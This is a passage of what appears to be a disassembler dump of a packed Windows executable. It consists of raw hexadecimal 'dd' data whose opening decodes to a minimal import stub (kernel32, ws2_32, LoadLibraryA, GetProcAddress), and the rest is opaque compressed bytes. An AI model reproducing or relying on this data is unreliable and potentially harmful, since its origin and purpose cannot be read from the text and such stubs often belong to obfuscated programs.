		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 6BA0Ch, 6B9F8h, 3 dup(0)
		dd 6BAB0h, 6BAD5h, 3 dup(0)
		dd 6BABBh, 6BADDh, 3 dup(0)
		dd 6BAC8h, 6BAE5h, 5 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB183600h
		dd 71h,	12182500h, 77h,	0E6D70600h, 77h, 56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 42838A4h, 8206170h, 0C202F62Ch, 1E7019Fh, 385C5708h
		dd 0AB430440h, 0BB1C1089h, 70033038h, 248613FFh, 0DEE30425h
		dd 914024A1h, 8A150659h, 80A82801h, 5155089h, 7A019001h
		dd 52D02250h, 0E0AC2808h, 98120489h, 22309137h,	9C2244F0h
		dd 206650AFh, 110A659Bh, 24287BBEh, 0C8E41130h,	4EEE9DBh
		dd 40103804h, 53060C80h, 69720174h, 5867356Eh, 5001D419h
		dd 8E001E90h, 182D2433h, 92230h, 2C384434h, 812BF488h
		dd 4E60800h, 54074050h,	6A62004Fh, 7463650Dh, 0F23C6964h
		dd 619400B2h, 7379E4C7h, 6DFEF3h, 27841230h, 1C49080Fh
		dd 6B6E5500h, 0B4776F8Eh, 12B3B1Bh, 7C01400h, 0E02C468Ah
		dd 0B825FF00h, 324370D1h, 10FC8Bh, 1CB039B4h, 0A8478EACh
		dd 91A42300h, 0E49CC8A0h, 94720398h, 8C1C9039h,	23882201h
		dd 0C88491CCh, 280E4C4h, 78397C72h, 7000741Ch, 916C23h
		dd 0E464C868h, 395C7260h, 541C5810h, 5023C400h,	48C84C91h
		dd 7244E400h, 1CD839DCh, 234080D4h, 0FC913C00h,	0F4E4F8C8h
		dd 39F00072h, 21E81CECh, 957C45D7h, 53011000h, 0BBBCC483h
		dd 7B241C0Ah, 6FE8C754h, 44F6C38Eh, 74B82CD0h, 3C0F0500h
		dd 300D5CB7h, 38C3018Bh, 85D65BFDh, 0FC32D92Ch,	87F9934h
		dd 88C01C79h, 91242328h, 0C87A20h, 0BE565360h, 1254634Ch
		dd 803E8300h, 33683A75h, 0CC061E44h, 0C0E85D6Ah, 8B0EC002h
		dd 0C90785C8h, 31057A75h, 0A1CA5EA0h, 438E0248h, 0D4A0189h
		dd 0D233A660h, 3C28B00h, 448D0FC0h, 10477C1h, 9018891Eh
		dd 0F4834206h, 750E64FAh, 203F9EECh, 59163310h,	54B61690h
		dd 0D1FB073Bh, 0D8F22358h, 7367E888h, 0DA859700h, 168B6049h
		dd 75500189h, 4563308h,	13DBC40Ch, 6662DE01h, 6421458h
		dd 0B003CCh, 50331C01h,	0AFB08A2h, 2951F300h, 3291150Eh
		dd 86A3073Eh, 3390C307h, 8BF85557h, 1400F3F1h, 0AEE8A824h
		dd 97A160h, 6A8DE204h, 907DD75Dh, 963B7F3Eh, 2700A043h
		dd 16F20C53h, 14750024h, 0FBE80A13h, 26124DB9h,	0B1079646h
		dd 460010Ch, 0E450EBh, 3B4EC103h, 5D0D75C2h, 18471D07h
		dd 0EBA7DFD0h, 7ED07CA7h, 3C519D6h, 842BCBE8h, 0EE00A042h
		dd 5D2A5A6Ah, 758895Fh,	7451088Dh, 0A3F88020h, 0FB7493BFh
		dd 0A1073200h, 6C72F03Bh, 3CE0ED1h, 0E8E0864Ah,	18D86EA9h
		dd 5E77CD18h, 0FB1BB6h,	6601BC43h, 0AA290CFFh, 7B833907h
		dd 447040C8h, 5EB9465h,	870A3D97h, 0CEED0072h, 304DF877h
		dd 41CFF500h, 0DC7329FEh, 0D92600EBh, 0E489852Ah, 75302B24h
		dd 96CFD6F9h, 0D00F0112h, 6A77B9B4h, 7885C8D4h,	900CEB00h
		dd 0A887E90Dh, 0FB3B1F1Bh, 561C41E6h, 0FF2A9259h, 0DA8B3988h
		dd 81F00C00h, 0E0104EFEh, 7281C7Dh, 54DF80BEh, 3BFFC6CEh
		dd 0E6B21400h, 89C890CBh, 1C040073h, 1968016Ah,	56071820h
		dd 8443C024h, 3B89F8A0h, 74FF0085h, 0B8D3E023h,	48005049h
		dd 13326456h, 0F44804Ah, 38B06E4h, 274BE8A0h, 0D50FF8ABh
		dd 82556460h, 8CB492D9h, 0E043AFEh, 0AA6A1D61h,	0C42EBE0h
		dd 53509655h, 79001F86h, 259451CEh, 839E98h, 774AE13Bh
		dd 24DC2DF5h, 0FEEC6C00h, 9213904Ch, 0C7EAE4h, 0FF081AE3h
		dd 0EB666303h, 80EC5401h, 9A0E81Dh, 0C57BE0DBh,	102A1FCFh
		dd 0C04F1E6Ah, 0F32451EBh, 90008073h, 0F24677EEh, 0EC0348C6h
		dd 35DE037Dh, 746A7FFFh, 891A8790h, 15B30D00h, 6BFE76A3h
		dd 754C00F5h, 6873AA56h, 0C7000A86h, 8C2C0535h,	32D9CDh
		dd 81DF8710h, 750F597Ah, 600FA774h, 0C0ED8604h,	0A1707C83h
		dd 47190FC0h, 1B214A0Fh, 0C4152208h, 97002B0Ch,	0AF921D69h
		dd 114AC85h, 0B862B935h, 0E8633AF4h, 8100EA90h,	0A1F0E0E5h
		dd 0BC03BAh, 0A4C2BB1Ah, 0E29C200Fh, 0A8C53F00h, 28F04C89h
		dd 8A0D1EDEh, 6F46802Bh, 67CF35AAh, 5EF63C1Ch, 0C7E09C0h
		dd 83FB03h, 0E3027690h,	0FFF8B6DDh, 8DBA4707h, 0E100310Dh
		dd 58221Eh, 2B7B1020h, 5A535724h, 0A900C1EAh, 14EB46A6h
		dd 0F80F364Ch, 0BC2813BAh, 92060086h, 2C597458h, 0B6099300h
		dd 82A20AF3h, 32E61D64h, 0EB9E4034h, 3FCA3A03h,	61C9C200h
		dd 0F942BF7h, 0A2850041h, 1C1D1638h, 0BE0E7324h, 600B0AEFh
		dd 0FDEAB60Eh, 0D0BD0083h, 938E4081h, 0B03CCF42h, 0C0A20394h
		dd 0E06938C5h, 1FBD8645h, 400A3760h, 873FFFC7h,	1900E79Ch
		dd 8B5DF5C0h, 3B33D4h, 2C7F0F02h, 0D7E24AC3h, 0E855C802h
		dd 430570ABh, 4074FAD2h, 1B4662h, 3E2CB449h, 4F351685h
		dd 80DD0A3Eh, 0C7AA20C9h, 417E8h, 217E2FA4h, 0C6BACC58h
		dd 8003133Bh, 5C243C33h, 235DA5h, 0E8060E0Ch, 5937B3F3h
		dd 99B3Ah, 5C99101Eh, 0E63E742Ch, 293F01FAh, 4102D993h
		dd 0D2816062h, 75556007h, 5770A1F5h, 0FA350h, 0E0A9968Eh
		dd 42DA258Dh, 0CA7D2BECh, 0A29C8900h, 927BE856h, 5B9F480h
		dd 37338286h, 0C9D50774h, 902697A5h, 84B17542h,	9D8B1600h
		dd 258C4DEFh, 0AC22006Dh, 86AE90Ah, 8A00C94Eh, 345947A0h
		dd 3F0F820Eh, 0FF0E6685h, 0EBE04B9Fh, 816B2948h, 0ADF51C2Ch
		dd 4049220Fh, 0B4D8551Dh, 857A3CA6h, 83214680h,	286FA838h
		dd 40691100h, 9A94F1Ah,	42520314h, 4A078A10h, 16C7ABE8h
		dd 23928000h, 0C5F98B26h, 988D0589h, 0C2E31C19h, 603607h
		dd 0E60050F0h, 0DE1F3B0Bh, 0D25B73h, 2B7406CFh,	3F298BD3h
		dd 4400F2B0h, 4D4F89B8h, 5CF1B9h, 0DB852082h, 0B6961F74h
		dd 0B4C35600h, 892C3959h, 4B7447h, 0AC0811A5h, 0F21452F6h
		dd 220E3CE6h, 40EB4A87h, 0A98E077Ah, 812E008Dh,	759CEC14h
		dd 0BA006813h, 644B0319h, 9932FFh, 30ED2289h, 0A0532842h
		dd 3D80B900h, 16D95041h, 480A007Eh, 0EC8A5B13h,	0C31E4561h
		dd 90C09EABh, 0F868A08Ch, 0CC96280Fh, 0C58800FDh, 183D832Dh
		dd 2F008406h, 9DEFD4B8h, 0E1528h, 0C0C9332Ch, 40F48201h
		dd 502E3D75h, 0B80040AFh, 63277069h, 629E00BEh,	22C67C44h
		dd 50032805h, 715AA001h, 108CA059h, 0C1510068h,	88874A97h
		dd 0C3008263h, 0A2217BE9h, 24A0E5C8h, 6E2E85h, 4C7C53C4h
		dd 0F0310F9h, 0D5D4CC84h, 1A9EA8D2h, 0C84B3C29h, 149C6881h
		dd 608291A1h, 513F3B28h, 0AEB2801Eh, 0A712E4F4h, 0D548003Ch
		dd 0C53D344Ah, 0B500DCB3h, 0F20393E6h, 0F02CB871h, 17740709h
		dd 0B11532C1h, 0E0985EBAh, 2B01E975h, 0BCDACAA5h, 91D01AA1h
		dd 4E6B000Ah, 5BDB14E4h, 533905E0h, 97C983Bh, 83C904h
		dd 130B4615h, 81748F8h,	21F98103h, 8B387FADh, 85B0876Dh
		dd 379C9h, 0C8E7C183h, 0D5A602F9h, 0BCCD9400h, 24EBF40Ah
		dd 8A520117h, 2C3718DAh, 0CADEC87h, 82C6FB07h, 910AEB0h
		dd 9048BAh, 0EB8C449Dh,	4A4CB598h, 0C107ED0Eh, 76036072h
		dd 7E0F0Ch, 81121416h, 750518FAh, 10F2E800h, 8A0385C8h
		dd 9A8E067Ah, 98CAEAC4h, 9844E900h, 0FAB0011Ch,	0FDEC710h
		dd 0A207E0C7h, 0D1038B30h, 60C8561h, 428E0A0h, 429C007Ch
		dd 46C94C81h, 81C8987h,	14810B26h, 0B81C05FFh, 3F83D0FCh
		dd 0AB8004EAh, 0E486FCE2h, 1200177Fh, 32201501h, 0B1193h
		dd 0C6E3CACh, 960E7C3Ah, 5F02CA00h, 0D842C2Bh, 2A0B0267h
		dd 1C0A4A52h, 83C2A6E0h, 0B1FE2005h, 8B004D08h,	1492E133h
		dd 25060309h, 42A3174h,	54B0DAF8h, 2B64A100h, 33C8AE80h
		dd 0C2F70011h, 0ACE2B2FEh
		dd 0F6F2EB20h, 0FAC7011Dh, 0A7468AC7h, 2B087200h, 703B00C6h
		dd 61E58EBh, 0A300E888h, 30B02B6h, 5509DEh, 963D6445h
		dd 0A00733D8h, 0A2CA9F8h, 25004367h, 0F8BF3E5Ah, 24D800B0h
		dd 767502A8h, 0F3007813h, 0FC32C655h, 0A00846h,	7A238316h
		dd 2CC74BFEh, 94F8B000h, 745B109h, 66160E0Bh, 3F404DB8h
		dd 0F8CEDCBAh, 37828D00h, 0F3A5D12Bh, 0C90F3D7Fh, 0C6643980h
		dd 0C7F7C5F5h, 127DD200h, 53FE6B52h, 8C98D7h, 6BC7366h
		dd 0FB250FEBh, 8DEF5100h, 11AFCE46h, 42C00E9h, 0B9F2EDD6h
		dd 8C1E303Dh, 0B5472BD5h, 0AAD08437h, 0E73F826h, 0C2019AB4h
		dd 148D0AA0h, 0D000BC85h, 1A138BE8h, 0DD8CEFC5h, 5901C0FCh
		dd 2D489D5Ah, 36743000h, 38A089DFh, 0C6030002h,	9615E883h
		dd 81030140h, 984E99FEh, 0D285A837h, 357D9Ah, 4C9BFAC2h
		dd 90094D2Eh, 0BCA5F400h, 890D4410h, 851D4C5Ch,	1B870200h
		dd 0E3693AEBh, 1296431Fh, 5A92C300h, 2CE6BFh, 7C3C407Fh
		dd 39210D4Bh, 70C5B3Ch,	0A1178283h, 1D3384C0h, 4BB31CCDh
		dd 0BC65802Eh, 11801FC2h, 92EA7E00h, 52FD8E09h,	7830062h
		dd 0A12BEB21h, 0C8F01441h, 15B93000h, 8C518442h, 0CA070744h
		dd 83AF5919h, 2690A80Fh, 69017896h, 670E6B09h, 0F9608D41h
		dd 0F8C716A5h, 4AC100FCh, 835220Dh, 0D0FF8CF8h,	3B074682h
		dd 712527Ch, 2606D850h,	99B300E8h, 119297Bh, 20000447h
		dd 0F30B9D03h, 0F2247449h, 81C6003Fh, 5523E817h, 0B0EC65C2h
		dd 90117A00h, 0C8312624h, 1B490059h, 0DE6FEB6Dh, 8200A635h
		dd 833EA9EFh, 325DA4h, 947310FEh, 0D4C999ADh, 0F181EE00h
		dd 3806BFE8h, 7D30033h,	0D2C48B36h, 0D9070DC7h,	12024475h
		dd 0CC98E10h, 0D8BE0038h, 9C8DCC5Eh, 0AA002452h, 31074F0Ah
		dd 160A4D6h, 8F9082B0h,	0C0E9A292h, 3D0002F8h, 7F09EF99h
		dd 2C5C4616h, 0C2D1EDh,	7525D2AAh, 5E003108h, 33A961EAh
		dd 164884h, 4282BF24h, 0E1E680BDh, 38744505h, 80C00B77h
		dd 1D281184h, 876C781Fh, 0D0C97B7Eh, 3194D721h,	3E8E7F03h
		dd 0E42B117h, 0BFFB7426h, 6E63EBC0h, 4A984D16h,	0EB31102h
		dd 4041D824h, 1531B57h,	79A4815h, 0F0CEE909h, 0EB3D3BF6h
		dd 29A48018h, 927D830Ah, 849801C7h, 38153DFDh, 0C4B3FC45h
		dd 8C350100h, 0D9B1D628h, 40AF44Bh, 32CEEEF3h, 5153C044h
		dd 663AF54Ch, 80BC3B3Eh, 658B61B0h, 3C7405h, 0D60317D3h
		dd 0EB4D3292h, 0F211C100h, 5758C41h, 3D6900DAh,	5CAD3307h
		dd 0E006A01h, 5D4B7E4Eh, 95D464h, 2DB68D55h, 0A5029617h
		dd 8FFE805h, 32C7B199h,	0E92EFC40h, 0BD72004Eh,	6855C902h
		dd 5A00214Ch, 0E2314126h, 48838717h, 8E004EC3h,	0D2FBCA46h
		dd 0BB00050Ah, 813DB88Bh, 820C48h, 0D9938F0Fh, 728424CDh
		dd 0CE7D4D2Ch, 4021790Fh, 48C303C6h, 904200A7h,	75D01450h
		dd 0F2002A1Ah, 4BE0120Dh, 2E2F7C89h, 115F481h, 889FA3CBh
		dd 8F4D703Dh, 640A0707h, 6F0864Dh, 0B52EB6h, 0F561E10Dh
		dd 0EF94D652h, 0B9BCAA00h, 1D02EBF2h, 8A412E12h, 0D0310768h
		dd 0E1C09E3Bh, 294A7F0Ah, 5414E5B8h, 0B10D50h, 262A391Eh
		dd 1D2192h, 0ED55D395h,	9A2432F5h, 0E41DF09h, 800789A7h
		dd 0D92153B6h, 56A40E8Bh, 0B974B282h, 8800A83Fh, 3C36514Ah
		dd 2C1E45FAh, 1F9E8D22h, 0F000F6A6h, 72D68B7Dh,	0E90700A0h
		dd 991249F4h, 220FF284h, 20A8586Fh, 1E1F75F1h, 0AC33BF6h
		dd 44430F00h, 0C4E94609h, 0FF257900h, 0C368910Dh, 0EEA45128h
		dd 1C3A8C70h, 0C1D09305h, 45740154h, 0FEE9DC8Bh, 4B509C00h
		dd 57675D08h, 95B8A0F7h, 3F320ACCh, 7CD140Ah, 0F03BC22Bh
		dd 3C91846h, 990C5803h,	0D89AA5A6h, 0E8E244h, 3D3B24F8h
		dd 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh,	57EA4h
		dd 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h,	611C3A4Eh
		dd 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h, 0ADC7078Bh
		dd 0F0B60578h, 0C5065DB4h, 0EE081626h, 51132400h, 459F8Bh
		dd 0D332988Eh, 25C688A2h, 3DA16900h, 0F921A636h, 5E740022h
		dd 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE124Bh, 70E8078Bh
		dd 0D0D7F5A1h, 0F14CB8E1h, 324C500h, 3B01C8C7h,	8C0F02FEh
		dd 0D71C4083h, 0BDB69EC0h, 0F8D33F00h, 0C1387516h, 52905E0h
		dd 0C0675333h, 7D9E9989h, 8D0F0E0Fh, 1614004Ch,	3C81F94h
		dd 0F7216F29h, 82D8AEE9h, 0F600D833h, 285E0203h, 36AD3AAh
		dd 6BD49E01h, 6087FBA9h, 3DD8B1Bh, 5DDE6900h, 0E789FE41h
		dd 753E004Ah, 343525F5h, 0A900823Ch, 0AEEADAC7h, 674B84h
		dd 23DC2E27h, 54535E7Ch, 0DB68C200h, 0EF75815h,	0AA1800F2h
		dd 3421428h, 1918C735h,	2CB050A8h, 0C31C58D2h, 4020251Dh
		dd 4A89F00Bh, 0D7000675h, 91DDC7E9h, 95AACAh, 24B1DF52h
		dd 0C296784Dh, 0F57F8500h, 3B0697E4h, 859A5081h, 831F002Bh
		dd 98E0DA14h, 2C00EBE5h, 87299E93h, 322435h, 404A0ED1h
		dd 485DC7C3h, 3A8FD31Ch, 0E2543483h, 0C429D893h, 56F7002Eh
		dd 0C242123h, 0AF01D81Ch, 7A0FA0ABh, 14EC5891h,	77092674h
		dd 13B700DDh, 19EB4A90h, 69A7AD00h, 74ACB87Bh, 76F20051h
		dd 1587E1FCh, 0C4002278h, 4E6F2585h, 83C714h, 0C012FF10h
		dd 0FC5D8905h, 364DEB00h, 0FD3196Ch, 98F87D33h,	0A03E0383h
		dd 662CEC2h, 0F74050BAh, 97033802h, 0A811F884h,	91CBC01Ah
		dd 169F03E8h, 5B47EB5Ch, 7D8909F0h, 21939C00h, 0B87C258Ch
		dd 40BC0038h, 15FF0A83h, 9600CD18h, 12414D7h, 0F9A84C3h
		dd 0DC8AA913h, 321C44C1h, 7002F875h, 85088B03h,	0D874C912h
		dd 187C80h, 0C8648950h,	594C2042h, 0FB197509h, 0AE8035Dh
		dd 803AEAF9h, 655266C6h, 0D0100740h, 0D032D7D4h, 98A4A7E7h
		dd 0F0C1E000h, 0AA56040Dh, 3E0AFh, 48D1FF5Ah, 6041808Ah
		dd 792E2600h, 5507E80Bh, 0F6DC004Dh, 0E910087Ah, 100274Bh
		dd 0C9C8CCCBh, 38D0CFD7h, 0DB00CECDh, 0DAD9CAD8h, 0DE00DDDCh
		dd 0E1E0DF0Eh, 0E405E3h, 505890E5h, 2EA85152h, 84B88303h
		dd 0E05ABCC5h, 1331B244h, 0C966C0h, 428F1EE8h, 10775180h
		dd 0D23E0F7Eh, 1188008Bh, 6905489h, 91F4C8h, 0C65FCB1Fh
		dd 3916D7D8h, 17F748h, 602F7413h, 2A7829h, 0F8A5F33Fh
		dd 3E1831Dh, 18A4D207h,	0E177431h, 7C3AFC30h, 1950000Fh
		dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
		dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
		dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
		dd 4FE255Fh, 1B1CC7FAh,	88508043h, 62070414h, 84135640h
		dd 0DDD21B1h, 58F0D8h, 9408D2C3h, 8028D818h, 9C3D071Fh
		dd 0CD7C8BC0h, 17CE5F61h, 3FF520h, 14D66A92h, 800EE25h
		dd 0C2F81CCBh, 788977h,	681E34E0h, 2C0B055Dh, 8B8D58h
		dd 5722B050h, 1D8B19C6h, 805477C8h, 1E64EB3Ah, 0CD00010Eh
		dd 143D6D5Bh, 0EC0B16DFh, 2FE40068h, 4B037C40h,	2907E9EBh
		dd 3FD3DC7Bh, 0AF70E050h, 463900E8h, 3841C85Dh,	0F7040BFh
		dd 0F045B700h, 663CC06Bh, 0F2EE1F03h, 401E4ED2h, 0F4558B20h
		dd 6900D001h, 0DE38E8F6h, 0EE196417h, 5890902h,	39004B3Ch
		dd 78825DE5h, 8EC8300h,	9B8EC0DFh, 5A5F3958h, 0C1E6C00h
		dd 0A31BD95Bh, 92A42D00h, 285CDFFDh, 2C160033h,	1C9059FAh
		dd 9900183Dh, 140693A7h
		dd 12091Ah, 0F029D2B8h,	0C7249026h, 8A000EE2h, 0DAD6CD07h
		dd 24616D8h, 7203D0E0h,	9A803812h, 0E8D1FB0Eh, 788171Eh
		dd 0D70147C0h, 0EA09637h, 760F2AC8h, 0CA03F720h, 2500E8EBh
		dd 6419C94Ah, 0E680A8Ah, 0C562A441h, 74E9C100h,	306E09Bh
		dd 272AA691h, 517A0288h, 0EE09CE7Bh, 8E26C5C0h,	1A40C201h
		dd 4575D939h, 0F5C4EFCh, 0FD585915h, 1BE55A60h,	0F700C438h
		dd 9BC20183h, 48E2C84Eh, 1600A6EBh, 5EBF3904h, 301E680h
		dd 88A3674h, 6070193Ah,	13540030h, 0F40148E4h, 0ED16E74Ah
		dd 0E5079025h, 0EC800220h, 0B5311Ah, 386CF32Eh,	0FDE8107Ah
		dd 0CF0CFC00h, 0EB4FF1DEh, 21D0959h, 0E3033106h, 0CDA088BBh
		dd 3500E086h, 130C6610h, 3420B2h, 0D3ABF309h, 0AA4D2112h
		dd 40895F00h, 2B101569h, 71840705h, 0C9422A08h,	0E2F76100h
		dd 0CC03241Eh, 308352C4h, 60CFC814h, 3199008Bh,	2729D039h
		dd 17752FB9h, 102DB00h,	9684F1F7h, 14C10030h, 1F7C431Ch
		dd 0F600E87Bh, 0C6057D0Fh, 3E2D8F04h, 478588A0h, 80064C8Bh
		dd 0FFF9814Dh, 96B84F75h, 1E07B903h, 7C5CD929h,	0B08C020Ah
		dd 3C8AD220h, 2B49EF60h, 754B0900h, 18C904F6h, 46D40F8Dh
		dd 0E9E09682h, 332F1923h, 0CC2CC801h, 7394EA50h, 79C663D4h
		dd 202E0BFh, 461E8A0Ch,	0E6C0FB80h, 0B500F874h,	0BB2D0E33h
		dd 7D0A3E69h, 4266002Bh, 0A0783F24h, 58007F61h,	0B8305C40h
		dd 0B028ABE7h, 94F00B9h, 3F81844Ah, 400EB20h, 0FB340D9Fh
		dd 982430B0h, 3A2C00A5h, 280FF839h, 0C700048Dh,	0D826C001h
		dd 734C155h, 0CDFEE675h, 0D4800071h, 5900127Ch,	5289F631h
		dd 38248A32h, 0F7016A46h, 78F07ED8h, 1260FEEEh,	0EC001BDEh
		dd 0B951C5FEh, 2BBFBCh,	320F3B0Ah, 92DF748Ch, 72006176h
		dd 9020A203h, 0B7654h, 71110C8h, 0D3D07705h, 240AC300h
		dd 155AC9BFh, 805D0704h, 0D0A9EBD5h, 0FFB13E50h, 7159F48h
		dd 774ED40h, 4288840h, 75C900FEh, 3C875AF2h, 0D07D0294h
		dd 7301FA00h, 2451DDE5h, 15440035h, 0ECF8428Bh,	52003617h
		dd 25A8463h, 0FC572619h, 41FC4Ah, 0FF4450A9h, 0DA2BF80h
		dd 1BD2AC04h, 46C09F31h, 7FC1497h, 637C900Fh, 2E087289h
		dd 0F44BE4C1h, 0D0B04D2h, 8001F883h, 226A199Dh,	9007001Bh
		dd 796B25FFh, 333E8B68h, 0D36C00DBh, 7500C1Ah, 1C75163Eh
		dd 702F002Ah, 0B0919225h, 0D41BD00h, 3EF29845h,	161F0E4Ch
		dd 0BC6001B3h, 0B0F45C28h, 5705303h, 9847404Fh,	338DF8h
		dd 6A6250FCh, 0F6A86886h, 773ADD2Eh, 0B7E86300h, 947EFEh
		dd 2DC04D45h, 0C3816855h, 0FF0064EAh, 20899830h, 4537C7h
		dd 600D91F4h, 89650DDh,	0E159F800h, 8B13C469h, 0E0835C58h
		dd 6656701h, 0C8168815h, 3000A5AFh, 5166EFFCh, 0DA71A1h
		dd 93FFB685h, 83F0F8B3h, 803FE23Ah, 6BC27F0Bh, 7332AA3h
		dd 4F5380B8h, 57540046h, 45005241h, 76F425Ch, 616C72h
		dd 4483646Eh, 6870B865h, 52FE6903h, 814C5438h, 75705046h
		dd 6B730061h, 6C125674h, 910E6575h, 0A0E3C369h,	312BC2D3h
		dd 0D8D707ACh, 7004D470h, 410E8AC9h, 632EA300h,	0A08B50FAh
		dd 93E800D8h, 4891540h,	0E90058C2h, 74DD1C67h, 0C7B4F7h
		dd 0AF368775h, 7692FE1Eh, 16C0DC00h, 6B0BE807h,	8045002Eh
		dd 0E975F6B8h, 0A3024C0Ch, 1A9571C8h, 4A89E078h, 65C30308h
		dd 851DEBE8h, 2CD80CCBh, 640113B3h, 78058F28h, 0C3F030C1h
		dd 55BB00E8h, 0ABF9A019h, 0B01C2DF3h, 0DA00078Bh, 51FF01B2h
		dd 96FC004Ah, 0D704CB88h, 4B0F8BABh, 0C0DA82D8h, 657DDB40h
		dd 487A1EB0h, 1CD68059h, 2CE29963h, 0B3B0B872h,	1A510100h
		dd 6762FE5Bh, 7C1BF0E0h, 39ED00EBh, 0BC1D1FD4h,	81B80B8Ch
		dd 98731C00h, 8DF65CA6h, 7B58027Ch, 38341882h, 6E496C60h
		dd 8B3B7500h, 0B37051E3h, 0B71013C9h, 8AE40002h, 7834D99Ah
		dd 0F3008075h, 0C496B0C3h, 1C935742h, 80B268D4h, 489970D0h
		dd 7260D30Dh, 2C7839Eh,	0AFF20066h, 0AB590AF0h,	7F001664h
		dd 0B0758C3h, 24E1C829h, 44475Ch, 0F8509134h, 0D7032BC1h
		dd 0C059021Ch, 76FFA03Dh, 0E91207E3h, 0E0321813h, 1A78DEB8h
		dd 8A118001h, 53C40454h, 9AE87421h, 0A8870309h,	12508917h
		dd 0D49EC091h, 74EA3BA6h, 0D91F057Ch, 0E1C0FF5Bh, 61EA08B7h
		dd 0EF07048h, 53515209h, 998F0E80h, 0F4005084h,	108CE012h
		dd 6E6463h, 69901989h, 413CC708h, 2D370404h, 1F80CE8Eh
		dd 70A1380h, 985A595Bh,	1EC7D008h, 2C0B3011h, 800CC442h
		dd 35480E22h, 92501D81h, 49588736h, 21CF20DDh, 50024C6h
		dd 52FF108Bh, 0EAC25F8h, 58E40907h, 0A37FBAA0h,	0AA4AEFECh
		dd 762589C0h, 80E6E0h, 0F9E8E3Dh, 6A104701h, 83980900h
		dd 0ED28FADFh, 0E199000Eh, 1C49C84Dh, 1626F330h, 54004161h
		dd 3D90026Ah, 83A403E4h, 982608BBh, 0E065E9E0h,	4142800h
		dd 950B182h, 738C1F43h,	550780F9h, 0F86429A4h, 12EC53FAh
		dd 130F9E48h, 8B00F0C9h, 39800103h, 9BC54CE9h, 75EB0A09h
		dd 0C0BE9F00h, 0D2A08FFFh, 55C39DAh, 647C00DCh,	15F51C68h
		dd 6B7600E7h, 0E1426EA4h, 281C598Eh, 0FC295Ah, 20915211h
		dd 0F6360AE2h, 0AC7600F0h, 0BF0F561Eh, 4D79E321h, 4E1C2300h
		dd 0FCF75A0Eh, 0BE6800E7h, 1259850Fh, 81000C5Dh, 8B45DE38h
		dd 1185039h, 74144882h,	0F241FC6Eh, 15E209C0h, 0D67A0C1Ch
		dd 840FD2C0h, 0FF51F0h,	14C82EBAh, 0A58B97E6h, 706CF93Ch
		dd 0CE398100h, 740EEFFAh, 0E837000Bh, 0FF521DE7h, 40000822h
		dd 3B297624h, 2077E2h, 28A685D6h, 0D095E812h, 8651C401h
		dd 0AA4578EEh, 30464C20h, 0EB86CA7Bh, 0D4030B30h, 2BAB943Bh
		dd 0E809AB1Eh, 0FAC150h, 7AFE4708h, 8FF1CA3Dh, 6F7438h
		dd 53020448h, 0DB5F31h,	1A0F8213h, 1D55321Bh, 0F0E3CDB0h
		dd 0A3EA68F2h, 90D12F00h, 9AE752D3h, 247C0035h,	0FF1C1BA2h
		dd 6D0B28B0h, 8006A050h, 7ED6FCCh, 354B85Fh, 51CF3647h
		dd 0D09711B0h, 43CB1EEEh, 4E9AE300h, 8895A3D1h,	110A0127h
		dd 81089089h, 5BE9CC41h, 0BF98F590h, 2CA48500h,	0C46E4256h
		dd 8A1F0174h, 88082326h, 75857052h, 72E90A04h, 3587B9D3h
		dd 2C224D20h, 55740008h, 19BF84Bh, 8D000559h, 0C5890971h
		dd 3406EDh, 0EFF043B5h,	3F5972B2h, 23248C2Eh, 7048039h
		dd 334F3BD8h, 3D170075h, 57AED464h, 1100A781h, 42F409B4h
		dd 7B59E8h, 8C743156h, 6980DC7Fh, 0D075FF00h, 7608C683h
		dd 0C05E004Bh, 9461BA54h, 14012499h, 0FF41D8B8h, 0E9C4B291h
		dd 0E4D7E1Ch, 457259A4h, 809E64A4h, 274884B0h, 24BE8B07h
		dd 8330866Ch, 0F898447Ah, 84882C56h, 5B280588h,	0B3F7C793h
		dd 91C85786h, 9200BD53h, 87211BE8h, 3D230463h, 0E128ED88h
		dd 848C008Dh, 0C7549180h, 0B000F042h, 0D79BBD31h, 60086AF1h
		dd 6350DE64h, 9103D156h, 2C392924h, 545A8028h, 2577D55h
		dd 12C8B153h, 9440A807h, 0CA019E2Fh, 5054D7E9h,	0A0C4C730h
		dd 0BA32001Fh, 427BEA83h, 7EB0890Ah, 97B0CEAh, 0FD046000h
		dd 0A80DF039h, 0A4B5001Eh, 40CBEA92h, 9FA0311Dh, 81031384h
		dd 0CC591006h, 11EC0012h, 498D8A6Fh, 3A00A476h,	645C5A79h
		dd 7469B6h, 44E0DC62h, 48FBE85Dh, 9CE2AB00h, 4CAF3C98h
		dd 497966h, 23428C0h, 0CC229BEh, 25B83Ah, 0A747D933h, 7CE51C46h
		dd 24802D3h
		dd 0C020923Dh, 74007274h, 98E2A5Ch, 4415001Eh, 5B052D57h
		dd 870EBB20h, 203DCF7Eh, 0EB4E0148h, 71FC60h, 833FC4FFh
		dd 94B1E80Fh, 30008E90h, 963D52C2h, 0E112A86h, 932D2838h
		dd 462E66C0h, 1F000613h, 0D43AEB24h, 1300FFDh, 9714502Fh
		dd 0F02CFC26h, 2AFEC8B0h, 7AC93C01h, 22F8CDF0h,	1ED1CFC9h
		dd 391A1E60h, 163AD78Fh, 123CCE3Bh, 6758D83Dh, 0A3FDA3Fh
		dd 600D93Fh, 5BF8CA89h,	2500FF26h, 528B400Dh, 4BE80Ch
		dd 5DA9C06Bh, 24B304C2h, 49F3CA00h, 78FD4094h, 28930BC4h
		dd 1681743Dh, 0FC386729h, 360F4CCBh, 40336184h,	81A6447Bh
